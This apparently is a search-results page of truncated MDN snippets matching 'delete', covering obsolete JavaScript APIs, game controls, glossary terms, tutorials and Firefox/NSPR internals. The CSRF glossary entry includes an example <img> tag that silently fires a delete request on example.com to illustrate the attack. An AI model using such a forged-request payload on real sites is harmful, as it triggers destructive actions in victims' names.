ct's __nosuchmethod__ member. the function takes two arguments, the first is the name of the method attempted and the second is an array of the arguments that were passed in the method call. the second argument is an actual array (that is, it inherits through the array.prototype chain) and not the array-like arguments object. if this method cannot be called, either as if undefined by default, if deleted, or if manually set to a non-function, the javascript engine will revert to throwing typeerrors. examples simple test of __nosuchmethod__ var o = { __nosuchmethod__: function(id, args) { console.log(id, '(' + args.join(', ') + ')'); } }; o.foo(1, 2, 3); o.bar(4, 5); o.baz(); // output // foo (1, 2, 3) // bar (4, 5) // baz () using __nosuchmethod...
Archived JavaScript Reference - Archive of obsolete content
d on an existing one. however, it has been removed from the standard and the firefox implementation. do not use it!array.observe()the array.observe() method was used for asynchronously observing changes to arrays, similar to object.observe() for objects. it provided a stream of changes in order of occurrence. it's equivalent to object.observe() invoked with the accept type list ["add", "update", "delete", "splice"]. however, this api has been deprecated and removed from browsers. you can use the more general proxy object instead.array.unobserve()the array.unobserve() method was used to remove observers set by array.observe(), but has been deprecated and removed from browsers. you can use the more general proxy object instead.arraybuffer.transfer()the static arraybuffer.transfer() method returns ...
Reference - Archive of obsolete content
(pdt) what's funny is that this talk page shows up first in a google search for "btoa javascript". this is number 2. it's not in the ecma docs. if it's not in a standard, and that sun doc is corrent, then it should probably go in the window object methods. --jonnyq i've already added those methods in the methods listing, but i haven't defined them yet. --maian 02:39, 21 october 2005 (pdt) delete? i don't see any mention in the operators section for the delete operator. did this operator get removed/deprecated, or is it missing from the documentation? brundlefly 13:15, 19 december 2005 (pst) neither: core javascript 1.5 reference:operators:special operators:delete operator --nickolay 14:48, 19 december 2005 (pst) reading offline? well, may be it's no so common in today's world... bu...
Desktop gamepad controls - Game development
e amount an axis is pressed in the x and y directions, represented by a float in the (-1, 1) range. ...
Desktop mouse and keyboard controls - Game development
er new key control just for this. pause and game over screens to make the game fully playable with keyboard it should be possible to go back to the main menu, continue playing, or restart the game from the pause and game over screens. it can be done exactly the same as before — by capturing key codes and performing actions. for example, by specifying phaser.keycode.backspace or phaser.keycode.delete you can hook up an action to fire when the delete/backspace button is pressed. summary ok, we've dealt with touch, keyboard and mouse controls. now let's move on to look at how to set up the game to be controlled using a console gamepad, using the gamepad api. previous overview: control mechanisms next ...
Implementing controls using the Gamepad API - Game development
using only one gamepad for this game, so it's a single object instead of an array of gamepads. we then set the turbo property to true. (we could use the gamepad.connected boolean for this purpose, but we wanted to have a separate variable for turning on turbo mode without needing to have a gamepad connected, for reasons explained above.) disconnect: function(evt) { gamepadapi.turbo = false; delete gamepadapi.controller; console.log('gamepad disconnected.'); }, the disconnect function sets the gamepad.turbo property to false and removes the variable containing the gamepad object. gamepad object there's lots of useful information contained in the gamepad object, with the states of buttons and axes being the most important: id: a string containing information about the controller. in...
Move the ball - Game development
ment works with the movies. defining a drawing loop to keep constantly updating the canvas drawing on each frame, we need to define a drawing function that will run over and over again, with a different set of variable values each time to change sprite positions, etc. you can run a function over and over again using a javascript timing function such as setinterval() or requestanimationframe(). delete all the javascript you currently have inside your html file except for the first two lines, and add the following below them. the draw() function will be executed within setinterval every 10 miliseconds: function draw() { // drawing code } setinterval(draw, 10); thanks to the infinite nature of setinterval the draw() function will be called every 10 milliseconds forever, or until we stop it...
Extra lives - Game development
hanges to every place it is used. the lives handling code to implement lives in our game, let's first change the ball's function bound to the onoutofbounds event. instead of executing an anonymous function and showing the alert right away : ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); we will assign a new function called ballleavescreen; delete the previous event handler (shown above) and replace it with the following line: ball.events.onoutofbounds.add(ballleavescreen, this); we want to decrease the number of lives every time the ball leaves the canvas. add the ballleavescreen() function definition at the end of our code: function ballleavescreen() { lives--; if(lives) { livestext.settext('lives: '+lives); l...
Plug-in Development Overview - Gecko Plugin API Reference
he plug-in. streams produced by the plug-in to send to the browser are like normal-mode streams produced by the browser, but in reverse. in the browser's normal-mode streams, the browser calls the plug-in to inform it that the stream was created and to push more data. in streams produced by the plug-in, by contrast, the plug-in calls netscape functions to create a stream, push data into it, and delete it. working with urls the plug-in api provides methods that plug-ins can use to retrieve data from or post data to a url anywhere on the network, provide hyperlinks to other documents, post form data to cgi scripts using http, or upload files to a remote server using ftp. use npn_geturl to request the browser to load a url into a particular browser window or frame for display, or to deliver ...
CRUD - MDN Web Docs Glossary: Definitions of Web-related terms
crud (create, read, update, delete) is an acronym for ways one can operate on stored data. it is a mnemonic for the four basic functions of persistent storage. crud typically refers to operations performed in a database or datastore, but it can also apply to higher level functions of an application such as soft deletes where data is not actually deleted but marked as deleted via a status. learn more general knowledge crud on wikipedia ...
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
csrf (cross-site request forgery) is an attack that impersonates a trusted user and sends a website unwanted commands. this can be done, for example, by including malicious parameters in a url behind a link that purports to go somewhere else: <img src="https://www.example.com/index.php?action=delete&id=123"> for users who have modification permissions on https://www.example.com, the <img> element executes action on https://www.example.com without their noticing, even if the element is not at https://www.example.com. there are many ways to prevent csrf, such as implementing restful api, adding secure tokens, etc. learn more general knowledge cross-site request forgery on wikipedia prevention measures ...
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
g execute all lines of code inside the greeting() function. get to the sayhi() function invocation. add the sayhi() function to the call stack list. call stack list: - sayhi - greeting execute all lines of code inside the sayhi() function, until reaches its end. return execution to the line that invoked sayhi() and continue executing the rest of the greeting() function. delete the sayhi() function from our call stack list. call stack list: - greeting when everything inside the greeting() function has been executed, return to its invoking line to continue executing the rest of the js code. delete the greeting() function from the call stack list. call stack list: empty in summary, then, we start with an empty call stack. whenever we invoke a...
Cookie - MDN Web Docs Glossary: Definitions of Web-related terms
a cookie is a small piece of information left on a visitor's computer by a website, via a web browser. cookies are used to personalize a user’s web experience with a website. it may contain the user’s preferences or inputs when accessing that website. a user can customize their web browser to accept, reject, or delete cookies. cookies can be set and modified at the server level using the set-cookie http header, or with javascript using document.cookie. learn more general knowledge http cookie on wikipedia ...
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
how the app's data should be displayed. in our shopping list app, the view would define how the list is presented to the user, and receive the data to display from the model. the controller the controller contains logic that updates the model and/or view in response to input from the users of the app. so for example, our shopping list could have input forms and buttons that allow us to add or delete items. these actions require the model to be updated, so the input is sent to the controller, which then manipulates the model as appropriate, which then sends updated data to the view. you might however also want to just update the view to display the data in a different format, e.g., change the item order to alphabetical, or lowest to highest price. in this case the controller could handle thi...
POP3 - MDN Web Docs Glossary: Definitions of Web-related terms
pop3 (post office protocol) is a very common protocol for getting emails from a mail server over a tcp connection. pop3 does not support folders, unlike the more recent imap4, which is harder to implement because of its more complex structure. clients usually retrieve all messages and then delete them from the server, but pop3 does allow retaining a copy on the server. nearly all email servers and clients currently support pop3. ...
WebDAV - MDN Web Docs Glossary: Definitions of Web-related terms
webdav (web distributed authoring and versioning) is an http extension that lets web developers update their content remotely from a client. webdav is rarely used alone, but two extensions are very common: caldav (remote-access calendar) and carddav (remote-access address book). webdav allows clients to add, delete, and retrieve webpage metadata (e.g. author or creation date) link pages of any media type to related pages create sets of documents and retrieve hierarchical list copy and move webpages lock a document from being edited by more than one person at a time learn more general knowledge webdav on wikipedia technical reference rfc 2518 rfc 3253 rfc 3744 ...
Cacheable - MDN Web Docs Glossary: Definitions of Web-related terms
response to be cached: the method used in the request is itself cacheable, that is either a get or a head method. a response to a post or patch request can also be cached if freshness is indicated and the content-location header is set, but this is rarely implemented. (for example, firefox does not support it per https://bugzilla.mozilla.org/show_bug.cgi?id=109553.) other methods, like put or delete are not cacheable and their result cannot be cached. the status code of the response is known by the application caching, and it is considered cacheable. the following status code are cacheable: 200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501. there are specific headers in the response, like cache-control, that prevents caching. note that some non-cacheable requests/responses to a s...
Flexbox - Learn web development
...
Positioning - Learn web development
ive to the visible portion of the viewport, except if one of its ascendants is a fixed containing block due to its transform property being different from none. this means that you can create useful ui items that are fixed in place, like persisting navigation menus that are always visible no matter how much the page scrolls. let's put together a simple example to show what we mean. first of all, delete the existing p:nth-of-type(1) and .positioned rules from your css. now, update the body rule to remove the position: relative; declaration and add a fixed height, like so: body { width: 500px; height: 1400px; margin: 0 auto; } now we're going to give the <h1> element position: fixed;, and get it to sit at the top of the viewport. add the following rule to your css: h1 { position: fixe...
What are browser developer tools? - Learn web development
trols are not so clearly presented, but you should see the html if you haven't selected something else to appear in the window. press the style button to see the css. exploring the dom inspector for a start, right-click (ctrl-click) an html element in the dom inspector and look at the context menu. the available menu options vary among browsers, but the important ones are mostly the same: delete node (sometimes delete element). deletes the current element. edit as html (sometimes add attribute/edit text). lets you change the html and see the results on the fly. very useful for debugging and testing. :hover/:active/:focus. forces element states to be toggled on, so you can see what their styling would look like. copy/copy as html. copy the currently selected html. some browsers also h...
What is a Domain Name? - Learn web development
ith a built-in shell, type a whois command into it, as shown here for mozilla.org: $ whois mozilla.org domain name:mozilla.org domain id: d1409563-lror creation date: 1998-01-24t05:00:00z updated date: 2013-12-08t01:16:57z registry expiry date: 2015-01-23t05:00:00z sponsoring registrar:markmonitor inc. ...
Advanced form styling - Learn web development
that the left one isn't sized properly. interestingly, setting border/background on the search field also fixes this problem, as it disables or "breaks" the aqua appearance too. the following styled search doesn't have appearance: none; applied, but it doesn't suffer from the same problem in macos chrome as the previous example. note: you may have noticed that in the search field, the "x" delete icon disappears when the input loses focus in edge and chrome, but stays put in safari. to remove via css, you can use input[type="search"]::-webkit-search-cancel-button { display: none; }. however, this seems to get rid of the icon with focus too, with no apparent way to get it back. styling checkboxes and radio buttons styling a checkbox or a radio button is tricky by default. the sizes of c...
Client-side form validation - Learn web development
g. javascript, including solutions using maxlength, can be used to provide this constraining the values of your entries for number fields (i.e. <input type="number">), the min and max attributes can be used to provide a range of valid values. if the field contains a value outside this range, it will be invalid. let's look at another example. create a new copy of the fruit-start.html file. ...
CSS basics - Learn web development
that you previously saved from what will your website look like?. add the <link> element somewhere inside your index.html's head (anywhere between the <head> and </head> tags). it looks something like this: <link href="https://fonts.googleapis.com/css?family=open+sans" rel="stylesheet"> this code links your page to a style sheet that loads the open sans font family with your webpage. next, delete the existing rule you have in your style.css file. it was a good test, but let's not continue with lots of red text. add the following lines (shown below), replacing the font-family assignment with your font-family selection from what will your website look like?. the property font-family refers to the font(s) you want to use for text. this rule defines a global base font and font size for the w...
JavaScript basics - Learn web development
es to alternate the display of one of two images. this change will happen as a user clicks the displayed image. choose an image you want to feature on your example site. ideally, the image will be the same size as the image you added previously, or as close as possible. save this image in your images folder. rename the image firefox2.png. add the javascript below to your main.js file. ...
Debugging HTML - Learn web development
the last list item looks like this: <li> <strong>unclosed attributes: another common source of html problems. let's look at an example: </strong> </li> html validation so you can see from the above example that you really want to make sure your html is well-formed! but how? in a small example like the one seen above, it is easy to search through the lines and find...
Third-party APIs - Learn web development
we keep checking to see if the <section> has a first child, and if it does, we remove the first child. the loop ends when <section> no longer has any children. next, we set the articles variable to equal json.response.docs — this is the array holding all the objects that represent the articles returned by the search. th...
Video and Audio APIs - Learn web development
ct? this is fairly easy to fix. first of all, add the following lines inside the stopmedia() function — anywhere will do: rwd.classlist.remove('active'); fwd.classlist.remove('active'); clearinterval(intervalrwd); clearinterval(intervalfwd); now add the same lines again, at the very start of the playpausemedia() function (just before the start of the if statement). at this point, you could delete the equivalent lines from the windbackward() and windforward() functions, as that functionality has been implemented in the stopmedia() function instead. note: you could also further improve the efficiency of the code by creating a separate function that runs these lines, then calling that anywhere it is needed, rather than repeating the lines multiple times in the code. but we'll leave that one...
What went wrong? Troubleshooting JavaScript - Learn web development
question: <p class="loworhi"></p> so we need a class selector here, which begins with a dot (.), but the selector being passed into the queryselector() method in line 48 has no dot. this could be the problem! try changing loworhi to .loworhi in line 48. try saving and refreshing again, and your console.log() statement should return the <p> element we want. phew! another error fixed! you can delete your console.log() line now, or keep it to reference later on — your choice. note: see our typeerror: "x" is (not) "y" reference page for more details about this error. syntax errors round three now if you try playing the game through again, you should get more success — the game should play through absolutely fine, until you end the game, either by guessing the right number, or by ru...
Client-Server Overview - Learn web development
ontact to a database). head: get the metadata information about a specific resource without getting the body like get would. you might for example use a head request to find out the last time a resource was updated, and then only use the (more "expensive") get request to download the resource if it has changed. put: update an existing resource (or create a new one if it doesn't exist). delete: delete the specified resource. trace, options, connect, patch: these verbs are for less common/advanced tasks, so we won't cover them here. additional information can be encoded with the request (for example, html form data). information can be encoded as: url parameters: get requests encode data in the url sent to the server by adding name/value pairs onto the end of it — for e...
Introduction to the server side - Learn web development
ommended. what is server-side website programming? web browsers communicate with web servers using the hypertext transfer protocol (http). when you click a link on a web page, submit a form, or run a search, an http request is sent from your browser to the target server. the request includes a url identifying the affected resource, a method that defines the required action (for example to get, delete, or post the resource), and may include additional information encoded in url parameters (the field-value pairs sent via a query string), as post data (data sent by the http post method), or in associated cookies. web servers wait for client request messages, process them when they arrive, and reply to the web browser with an http response message. the response contains a status line indicating ...
Server-side web frameworks - Learn web development
etc. django can also pass information encoded in the structure of the url by defining "capture patterns" in the url mapper (see the last code fragment in the section above). abstract and simplify database access websites use databases to store information both to be shared with users, and about users. web frameworks often provide a database layer that abstracts database read, write, query, and delete operations. this abstraction layer is referred to as an object-relational mapper (orm). using an orm has two benefits: you can replace the underlying database without necessarily needing to change the code that uses it. this allows developers to optimize for the characteristics of different databases based on their usage. basic validation of data can be implemented within the framework. this...
Ember app structure and componentization - Learn web development
plays ember's default welcome message. --}} <welcomepage /> {{!-- feel free to remove this! --}} {{outlet}} <welcomepage /> is a component provided by an ember addon that renders the default welcome page we saw in the previous article, when we first navigated to our server at localhost:4200. however, we don't want this. instead, we want it to contain the todomvc app structure. to start with, delete the contents of application.hbs and replace them with the following: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > </section> note: aria-label provides a label for assistive technology to make use of — for example, for a screenreader to read out. this is useful in suc...
React resources - Learn web development
way to handle certain other, more edge-case features, and they’re very common in legacy react projects. the official react docs are a great place to start learning about them. state and lifecycle in the react docs intro to react in the react docs read about javascript classes at mdn testing create-react-app provides some tools for testing your application out of the box — you may have deleted the relevant files earlier in the tutorial. the documentation for create-react-app covers some basics for testing. routing while routing is traditionally handled by a server and not an application on the user's computer, it is possible to configure a web application to read and update the browser's location, and render certain user interfaces. this is called client-side routing. it's possible ...
TypeScript support in Svelte - Learn web development
> 0 ? math.max(...todos.map(t => t.id)) + 1 : 1 function addtodo(name: string) { todos = [...todos, { id: newtodoid, name, completed: false }] $alert = `todo '${name}' has been added` } function removetodo(todo: todotype) { todos = todos.filter(t => t.id !== todo.id) todosstatus.focus() // give focus to status heading $alert = `todo '${todo.name}' has been deleted` } function updatetodo(todo: todotype) { const i = todos.findindex(t => t.id === todo.id) if (todos[i].name !== todo.name) $alert = `todo '${todos[i].name}' has been renamed to '${todo.name}'` if (todos[i].completed !== todo.completed) $alert = `todo '${todos[i].name}' marked as ${todo.completed ? 'completed' : 'active'}` todos[i] = { ...todos[i], ...todo } } ...
Working with Svelte stores - Learn web development
'completed' : 'active'}` todos[i] = ...
Strategies for carrying out testing - Learn web development
g box at the installer image/disk, and it will run through the steps to install the os just like on a physical machine. important: you need to make sure you have the operating system image you want to install on the virtual machine available at this point, and install it right away. if you cancel the process at this point, it can render the virtual machine unusable, and make it so you need to delete it and create it again. this is not fatal, but it is annoying. after the process has completed, you should have a virtual machine running an operating system inside a window on your host computer. you need to treat this virtual operating system installation just like you would any real installation — for example, as well as installing the browsers you want to test, install an anti-virus pr...
Setting up your own test automation environment - Learn web development
ocs. if we wanted to get the text inside our button, we could do this: button.gettext().then(function(text) { console.log('button text is \'' + text + '\''); }); add this to quick_test.js now. making sure you are inside your project directory, try running the test: node quick_test.js you should see the button's text label reported inside the console. let's do something a bit more useful. delete the previous code entry, then add this line at the bottom instead: button.click(); try running your test again; the button will be clicked, and the alert() popup should appear. at least we know the button is working! you can interact with the popup too. add the following to the bottom of the code, and try testing it again: let alert = driver.switchto().alert(); alert.gettext().then(function(...
Accessibility/LiveRegionDevGuide
ed. the object changed events can be further subdivided into object addition and removal events. in at-spi, this is accomplished by appending ":add" or ":remove" to the event string. in iaccessible2, there are two separate event types, namely event_object_show and event_object_hide. text changed the text changed events are quite similar in at-spi and iaccessible2 with both having an insert and delete or removal events. the text changed event type in at-spi has a similar scheme as the object:children-changed events. in this case, the root event string is object:text-changed with ":delete" and ":insert" being appended to complete the event type. in iaccessible2, there are two distinct event types - ia2_event_text_removed and ia2_event_text_inserted. the text associated with an at-spi text chang...
Multiprocess on Windows
cs stauniqueptr<t> forces reference to be released on the main thread. mtauniqueptr<t> forces reference to be released on an mta thread. proxyuniqueptr<t> in the chrome process, forces reference to be released on the main thread. in the content process, forces reference to be released on an mta thread. interceptortargetptr<t> no-op deleter: used to annotate pointers whose reference counts must never be touched. these pointers all use mozilla::uniqueptr under the hood. use the mozilla::mscom::to*uniqueptr functions in ipc/mscom/ptr.h to create new instances of these. there is also a mozilla::mscom::getter_addrefs() function that allows these pointers to receive outparams. simple example now you know about mainthreadhandoff...
Frequently Asked Questions for Lightweight themes
t want to ensure that the art displayed in the themes gallery meets a basic set of guidelines. please review the terms of service and conditions of use for authoritative and complete language. do i still retain ownership over artwork that i upload? yes. your artwork will always be your artwork. after creating a lightweight theme, can i edit the design? yes. if at any point you need to edit or delete your theme design after it has been submitted to the gallery, you can access it from the submissions dashboard. from there, you can view your current designs. by clicking on each, you can make changes to each design's settings. what's the maximum file size allowable for my lightweight theme? the theme you upload may not exceed 300 kb for the header or the footer image. couldn't find the answer...
Application cache implementation overview
lly start, the scheduling service calls nsofflinecacheupdate::begin() method, that switches the update to checking state (+invokes onchecking event) and starts fetch of the manifest file. note: whenever a load of an items (including the manifest) fails due to a network or server error or leads to a redirect, the update fails and completely rollbacks any changes made (i.e. all files downloaded are deleted and the new cache version is discarded.) an md5 hash is then calculated from the manifest content we download from the server to be compared to existing md5 (in case of an “update”). during the load, manifest is parsed according the “parsing the cache manifest” html5 spec, and lists of entries and namespaces are collected. after the manifest fetch is done, nsofflinecacheupdate::loadcompl...
Choosing the right memory allocator
or the security code located in the /security/ subtree of the source code. avoid using them elsewhere. ...
Continuous Integration
riggered on a periodic basis instead of being triggered by a push to hg. hf - static rooting hazard analysis s - static analysis v - valgrind build and test jobs; these jobs create valgrind-compatible builds and run a small set of valgrind tests on them. builds that run in ci are clobber builds. clobber builds mean the directory hierarchy, including the local source and object directory are deleted if it exists from a previous build. functional tests these jobs are scheduled after a build job has successfully produced a build. these test jobs can sometimes run even if a build job fails, if the build job failed during 'make check'. talos performance tests all performance tests displayed in treeherder are run using the talos framework, and denoted by the letter t. these jobs are schedu...
HTTP logging
th the largest number is not guarantied to be the last file written! we don’t move the files, we only cycle. using the rotate module automatically adds timestamps to the log, so it’s always easy to recognize which file keeps the most recent data. note 2: rotate doesn’t support append. when you specify rotate, on every start all the files (including any previous non-rotated log file) are deleted to avoid any mixture of information. the append module specified is then ignored. use 'sync' if your browser crashes or hangs by default, http logging buffers messages and only periodically writes them to disk (this is more efficient and also makes logging less likely to interfere with race conditions, etc). however, if you are seeing your browser crash (or hang) you should add ",sync" to th...
Windows SDK versions
%". older sdks these are no longer supported, further information is available at obsolete build caveats and tips [en-us] under the windows sdk article. troubleshooting help! i know i have the correct sdk, but configure.in's still failing! try the following things in order: run the windows sdk configuration tool (if available) and make sure the right sdk is selected. restart the msys console. delete your entire object directory and start over. ...
Obsolete Build Caveats and Tips
owing problems: breaks the vcvars32.bat file from visual studio 2008 no longer sets the correct path for the .net framework causes an invalid path which breaks the mozilla build if you have the windows server 2008 sdk installed, uninstall it. the sdk will break builds even if you try to use other sdks. other possible workarounds: use another sdk (the one shipped with visual studio 9). delete the vcvars32.bat file and repair your visual studio installation with the setup program. edit vcvars32.bat to correct the problem (see http://blogs.msdn.com/windowssdk/arc...vironment.aspx "workaround: repair the vs2008 command line build environment by editing c:\program files\microsoft visual studio 9.0\vc\bin\vcvars32.bat manually"). sdks older than the server 2003 r2 platform sdk aren't su...
Performance best practices for Firefox front-end engineers
it doesn’t matter), the browser does calculations to figure out which css styles will apply to each element. this happens the first time the page loads and the css is initially applied, but can happen again if javascript modifies the dom. javascript code might, for example, change dom node attributes (either directly or by adding or removing classes from elements), and can also add, remove, or delete dom nodes. because styles are normally scoped to the entire document, the cost of doing these style calculations is proportional to the number of dom nodes in the document (and the number of styles being applied). it is expected that over time, script will update the dom, requiring us to recalculate styles. normally, the changes to the dom just result in the standard style calculation occurring ...
Getting from Content to Layout
estyles hashtable. a list of restyle roots (places in the content tree where all descendants need to be restyled but nothing on the parent chain does) are also stored. the restyles accumulated in the restyletracker are dispensed with from various method on the presshell that involve reflow and flushing notifications. frame construction regardless of whether content nodes are inserted/appended/deleted, frames can be created and destroyed, based on whatever is optimal for the changes in the content tree. "frame construction items" are queued for each change. these items are then examined in relation to the location in the content tree that is being modified and either the relevant frames are created/destroyed or the logic moves up to the parent frame. to give a trivial example of when this ...
How to get a stacktrace for a bug report
ubuntu: instructions from the ubuntu team opensuse: general instructions from opensuse fedora: capturing stack traces gentoo: debugging using gdb ...
CustomizableUI.jsm
me manifest file with links to two different versions of xul overlay, using manifest flags. note: unlike button described with xul overlay, widget-button created via createwidget() method cannot have references to other overlay elements transferred directly as parameters. for example, if there is a need to create a button with dynamically assignable tooltip, the node for static tooltip should be deleted as soon as the widget will be created, and node-reference to popup tooltip element has to be added. for that, this function has to be used (see more here): oncreated: function(node) { node.removeattribute("tooltiptext"); node.tooltip = "[reference to popup tooltip element, described in xul overlay, or created in any other way]"; }, destroywidget() destroy a widget if the wi...
DeferredTask.jsm
if the timer is not armed, the "finalize" method only ensures that any running task terminates. ...
Dict.jsm
returns a shallow copy of the dictionary; that is, a copy of the dictionary including the items immediately included within the dictionary; however, any objects referenced by those top-level objects are not copied. dict copy(); parameters none. return value a new dictionary object containing the same top-level items as the original dictionary on which the copy() method was called. del() deletes a key/value pair from the dictionary, given a key. boolean del( string akey ); parameters akey the key for the item to delete from the dictionary. return value true if an entry was found and removed; false if no match was found. get() returns the value corresponding to the specified key. object get( string akey, [optional] object adefault ); parameters akey the key whose...
Sqlite.jsm
modify the parameter count or positions without fixing all users of the statement. objects/named parameters are a little safer because changes in the order of parameters in the statement won't change how values are bound to those parameters. when onrow is not defined, the full results of the operation are buffered before the caller is notified of statement completion. for insert, update, and delete statements, this is not relevant. however, it can have drastic implications for select statements. if your select statement could return lots of data, this buffering of returned rows could result in excessive memory usage. therefore, it's recommended to use onrow with select statements. along with a result row, onrow is passed a cancel function as its second argument. consumers of this api c...
Index
ork on the localizable files without the context of the source files including the localized strings; it is important to add comments to the localizable files themselves, too. these comments are generally referred to as localization notes. there is an established format for those, which is described in this document. 11 localization prerequisites internationalization, localization, delete to work on localization, you need a subset of the mozilla build prerequisites. on mac and linux, you should be just fine, and on windows, mozillabuild should get you everything you need. 12 localization quick start guide guide, translation this guide is filled with all of the basic, technical information you need to get involved in the mozilla l10n program. 13 ...
Localizing XLIFF files for iOS
lish strings are contained in <source> child tags. here is an example of such a <trans-unit> <trans-unit id="add to bookmarks"> <source>add to bookmarks</source> </trans-unit> your translations must be contained inside <target> child tags. go through the full xliff page adding <target></target> below each <source> tag set to help you to identify strings that need to be translated. do not delete the <source> tag sets. <trans-unit id="add to bookmarks"> <source>add to bookmarks</source> <target>your_translation_here</target> </trans-unit> provide translations of the strings in the <source> tag sets by placing their translations in the <target> tag sets beneath them. keep in mind the following sets of characters that need to remain untranslated: $(some_text_here) is a ...
BloatView
size of the header struct, not the size of the string contents!) bytes leaked - the number of bytes per instance times the number of objects leaked: (bytes per-inst) x (objects rem). use this number to look for the worst offenders. (should be zero!) objects total - the total count of objects allocated of a given class. objects rem - the number of objects allocated of a given class that weren't deleted. (should be zero!) interesting things to look for: are your classes in the list? - look! if they aren't, then you're not using the ns_impl_addref and ns_impl_release (or ns_impl_isupports which calls them) for xpcom objects, or moz_count_ctor and moz_count_dtor for non-xpcom objects. not having your classes in the list is not ok. that means no one is looking at them, and we won't be able to...
Investigating leaks using DMD heap scan mode
leaked object to go away. prerequisites a debug dmd build of firefox. this page describes how to do that. this should probably be an optimized build. non-optimized dmd builds will generate better stack traces, but they can be so slow as to be useless. the build is going to be very slow, so you may need to disable some shutdown checks. first, in toolkit/components/terminator/nsterminator.cpp, delete everything in runwatchdog but the call to ns_setcurrentthreadname. this will keep the watch dog from killing the browser when shut down takes multiple minutes. secondly, you may need to comment out the call to moz_crash("nss_shutdown failed"); in xpcom/build/xpcominit.cpp, as this also seems to trigger when shutdown is extremely slow. you need the cycle collector analysis script find_roots.py, w...
Leak-hunting strategies and tips
equally with or without nscomptr.) see bug 38586 and bug 287847 for examples. dropping a non-refcounted object on the floor (especially one that owns references to reference counted objects). see bug 109671 for an example. destructors that should have been virtual: if you expect to override an object's destructor (which includes giving a derived class of it an nscomptr member variable) and delete that object through a pointer to the base class using delete, its destructor better be virtual. (but we have many virtual destructors in the codebase that don't need to be -- don't do that.) debugging leaks that go through xpconnect many large object graphs that leak go through xpconnect. this can mean there will be xpconnect wrapper objects showing up as owning the leaked objects, but it does...
Profiling with Xperf
note that it's possible to capture even more data for the non-heap profile; for example, you might want to be able to correlate heap events with performance data, so you can do "xperf -on base -stackwalk profile". in the viewer, when summary data is viewed for heap events (heap allocations outstanding, etc. all lead to the same summary graphs), 3 types of allocations are li...
Profiling with the Firefox Profiler
ppears which zooms into that range. clicking on a tracing marker will create a selection corresponding with its duration allowing for easy zooming in on interesting time ranges. as you zoom in on ranges, breadcrumbs are created allowing you to easily navigate back to previously-selected ranges or the entire profile (denoted as "full range"). tip: while zooming out to a previously-selected range deletes the narrower range, the browser back button can be used to restore the narrower range. thread timeline(s) thread/process timelines: below the tracing markers we have a list of profiled threads. these threads may come from different processes. in this case, we have the 'geckomain [default]' process' main thread, a content process' main thread, and the main thread of the compositor process. eac...
TraceMalloc
to enable tracemalloc in your build, configure with --enable-trace-malloc. ...
AsyncTestUtils extended framework
rue for and, false for or. mark an imap folder as offline and bring the messages offline yield make_folder_and_contents_offline(folderhandle); messages and folders move messages to a folder yield async_move_messages(asynmessageset, adestfolder); trash messages (move them to the trash folder) yield async_trash_messages(asynmessageset); empty the trash folder yield async_empty_trash(); delete messages (without moving them to the trash folder) yield async_delete_messages(asynmessageset); implementation details the following files make up the framework: asynctestutils.js: core async testing logic. dependent on loghelper.js so it can log what test it is on, etc. loghelper.js: this allows rich logging via logsploder. if you aren't using logsploder, then this just makes your tests ...
McCoy
y-0.5.en-us.win32.zip (windows) mccoy-0.5.en-us.linux-i686.tar.bz2 (linux) mccoy-0.5.en-us.mac.dmg (mac os x universal) there are some known issues with running mccoy on linux. it will not run on older versions of linux and there are known problems even on up to date systems. we hope to resolve this for the next release - or around the year 2100. uninstalling mccoy to uninstall mccoy simply delete the applications files. the cryptographic keys and other mccoy data are kept in a profile folder separate from the application so you can uninstall and reinstall without losing your precious keys. backing up data if you need to backup your data or move it from one machine to another you need to take a copy of the profile folder. this is located in: %appdata%\mozilla\mccoy (windows) ~/.mozi...
Midas editor module security preferences
please do not try to modify this page. to protect users' private information, unprivileged scripts cannot invoke the cut, copy, and paste commands in midas, which is mozilla's rich text editor component. this means that the corresponding buttons on the mozilla rich text editing demo page will not work. t...
Anonymous Shared Memory
re the shared memory is backed by a file, the file's name in the filesystem is visible to other processes for only the duration of the creation of the file, hopefully a very short time. this restricts processes that do not inherit the shared memory from opening the file and reading or writing its contents. further, when all processes using an anonymous shared memory terminate, the backing file is deleted. ... if you are not paranoid, you're not paying attention. the file-mapped shared memory requires a protocol for the parent process and child process to share the memory. nspr provides two protocols. use one or the other; don't mix and match. in the first protocol, the job of passing the inheritable shared memory is done via helper-functions with pr_createprocess. in the second protocol, the p...
IPC Semaphores
pter describes the nspr api for using interprocess communication semaphores. nspr provides an interprocess communication mechanism using a counting semaphore model similar to that which is provided in unix and windows platforms. note: see also named shared memory ipc semaphore functions ipc semaphore functions pr_opensemaphore pr_waitsemaphore pr_postsemaphore pr_closesemaphore pr_deletesemaphore ...
I/O Functions
rminated character strings. only the ascii character set is supported. the forward slash (/) separates the directories in a pathname. nspr converts the slashes in a pathname to the directory separator of the native os--for example, backslash (\) on windows and colon (:) on mac os--before passing it to the native system calls. some file systems also differentiate drives or volumes. ...
Memory Management Operations
and have the same semantics. ...
NSPR Error Handling
tory. pr_loop_error symbolic link loop. pr_name_too_long_error filename is longer than allowed by the host operating system. pr_file_not_found_error the requested file was not found. pr_not_directory_error attempt to perform directory specific operations on a normal file. pr_read_only_filesystem_error attempt to write to a read-only file system. pr_directory_not_empty_error attempt to delete a directory that is not empty. pr_filesystem_mounted_error attempt to delete or rename a file object while the file system is busy. pr_not_same_device_error request to rename a file to a file system on another device. pr_directory_corrupted_error the directory object in the file system is corrupted. pr_file_exists_error attempt to create or rename a file when the new name is already being...
PRDescIdentity
...
PR_FreeLibraryName
frees memory allocated by nspr for library names and path names. syntax #include <prlink.h> void pr_freelibraryname(char *mem); parameters the function has this parameter: mem a reference to a character array that was previously allocated by the dynamic library runtime. returns nothing. description this function deletes the storage allocated by the runtime in the functions described previously. it is important to use this function to rather than calling directly into malloc in order to isolate the runtime's semantics regarding storage management. ...
PR_GetThreadPrivate
...
PR_OpenSemaphore
